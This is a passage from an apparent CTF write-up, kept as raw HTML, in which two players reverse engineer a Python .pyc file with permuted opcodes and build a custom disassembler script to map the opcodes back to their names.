class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Something is Odd&lt;/h3&gt;

&lt;p&gt;zaratec had mentioned a couple of times that some bytes within the
disassembly and the hexdump had not matched (indeed, we often saw
extraneous bytes). This had began quite a while before the snapshot
above. I had initially chalked these oddities up to &amp;quot;something going
weird with the disassembler since we are changing opcodes while a
disassembler running &lt;em&gt;using&lt;/em&gt; those opcodes is being modified&amp;quot;. I
thought this would fix itself as we discovered more opcodes. However,
it had started to become quite painful to keep track of this, thus I
decided to root-cause where those bytes were coming from.&lt;/p&gt;

&lt;p&gt;Interestingly, those bytes were not coming from &lt;code&gt;dis&lt;/code&gt; behaving
weirdly, or even &lt;code&gt;dis&lt;/code&gt; reading from &lt;code&gt;opcodes.py&lt;/code&gt;. Instead, the &lt;em&gt;input&lt;/em&gt;
that &lt;code&gt;dis&lt;/code&gt; was receiving itself was incorrect, and was a
lie. Following through further, it appeared that &lt;code&gt;marshal&lt;/code&gt;, a C module
that serializes/parses the bytes from/into Python objects was giving
us bad bytes. Furthermore, this seemed to be impacted by the
&lt;code&gt;opcodes.py&lt;/code&gt; file itself.&lt;/p&gt;

&lt;p&gt;I was in no mood to modify C code to get the &lt;code&gt;marshal&lt;/code&gt; to work better,
nor was I sure what other interactions might happen in doing so, since
it was a cross-language interaction that was behaving weirdly. It was
quite late at night too, and as one knows, late night is the worst
time to write C, apart from all the other ones.&lt;/p&gt;

&lt;p&gt;Thus, I decided it was time to write my own custom disassembler from
scratch!&lt;/p&gt;

&lt;h2&gt;New Beginnings&lt;/h2&gt;

&lt;p&gt;This new disassembler, known &lt;code&gt;manual_disassemble.py&lt;/code&gt; even though I
should&amp;#39;ve named it &lt;code&gt;custom_disassembler.py&lt;/code&gt; or something (oh, the
perils of naming something when sleepy), was designed to learn from
the experiences of working with &lt;code&gt;dis&lt;/code&gt;. However, it didn&amp;#39;t need to be
as generic as &lt;code&gt;dis&lt;/code&gt; itself. Instead, it could be as &lt;code&gt;x.pyc&lt;/code&gt;-specific
as we wanted.&lt;/p&gt;

&lt;p&gt;Thus, I asked zaratec to provide me with a list of offsets of where
the functions are (I couldn&amp;#39;t trust &lt;code&gt;marshal&lt;/code&gt;, not even an unmodified
Python3 instance of &lt;code&gt;marshal&lt;/code&gt;, just in case some opcode permutation
would mess with it). Through some pattern recognition, she gave me
such a list, which I hard-coded into the custom disassembler. I later,
at one point, noticed a stray code object &lt;code&gt;w&lt;/code&gt;, which was interesting
to discover to be a function defined within a function.&lt;/p&gt;

&lt;p&gt;With this, we now had the beginnings of a custom disassembler
&lt;code&gt;manual_disassembly.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endian&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;little&amp;#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;./x.pyc&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pyc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;func_starts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;Global&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;ks&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x94&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;cry&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;fail&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x370&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;game1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x489&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# tentatively defined inside game1&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;game2&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xc0c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;game3&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x105f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&amp;#39;main&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1654&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;known_ops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c&quot;&gt;# opnum: (name, hasArg)&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;LOAD_CONST&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;171&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;IMPORT_NAME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;150&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;STORE_NAME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;MAKE_FUNCTION&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;RETURN_VALUE&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;97&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;RESUME&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;185&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;LOAD_GLOBAL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;188&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;LOAD_ATTR&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;191&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;PRECALL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;142&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;CALL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;POP_TOP&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;global_vals&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;print&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;sys&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;funcname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;funcstart&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;func_starts&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;{funcname}:&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;codelen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pyc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;funcstart&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:][:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pyc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;funcstart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:][:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codelen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;op&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:][:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;arg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:][:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;op&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  ...{nops} nops...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;op&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;known_ops&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;opname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hasargs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;known_ops&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;CALL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  {op}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{opname} with {arg} arguments&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;PRECALL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  {op}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{opname} with {arg} arguments&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;LOAD_GLOBAL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arg&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;global_vals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  {op}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{opname} {arg} ({global_vals[arg]})&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  {op}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{opname} {arg} (?????)&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hasargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  {op}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{opname} {arg}&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  {op}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;{opname}&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  WEIRD: {opname} unexpected arg {arg} ({funcname} : {hex(funcstart+idx)})&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;  {op}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;{op}&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This allowed us to more easily and quickly improve on the quality of
output, and as we discovered more about the opcodes, the output would
incrementally improve.&lt;/p&gt;

&lt;p&gt;I should note that Python&amp;#39;s byte-code uses a stack-based architecture,
and thus we do not need to worry about registers and such. It would
help to keep better track of the stack itself, if say one were
building a decompiler, but due to our &amp;quot;recompile to same&amp;quot; style of
manual decompilation, I decided not to bother with keeping track of
stack effects.&lt;/p&gt;

&lt;p&gt;It had gotten even further late into the night though, and we were
tired, so we wrote a message on our Discord that we would finish this
challenge when awake again.&lt;/p&gt;

&lt;h2&gt;Coffee Gives You Energy&lt;/h2&gt;

&lt;p&gt;Once awake and fully caffeinated, we could begin work on improving this
more!&lt;/p&gt;

&lt;p&gt;zaratec discovered binary operations, and this started improving the
output quite a bit.&lt;/p&gt;

&lt;p&gt;I also decided to start trusting &lt;code&gt;marshal&lt;/code&gt; and &lt;code&gt;dis&lt;/code&gt; a tiny
bit. Specifically, since the opcode permutation only affects opcodes,
it would be fine to reuse non-opcode aspects. Additionally, I was only
using them to provide debug output, and &lt;em&gt;not&lt;/em&gt; impact the actual
disassembly. This way, these modules stays untrusted for the most
part, and cannot affect things &lt;em&gt;too&lt;/em&gt; negatively.&lt;/p&gt;

&lt;p&gt;I also improved the readability of the output a little. Quality of
life improvements are often worth it in how much they speed up noticing
patterns.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-diff&quot; data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;gh&quot;&gt;diff --git a/manual_disassemble.py b/manual_disassemble.py&lt;/span&gt;
&lt;span class=&quot;gh&quot;&gt;index f8cf184..1574964 100644&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;--- a/manual_disassemble.py&lt;/span&gt;
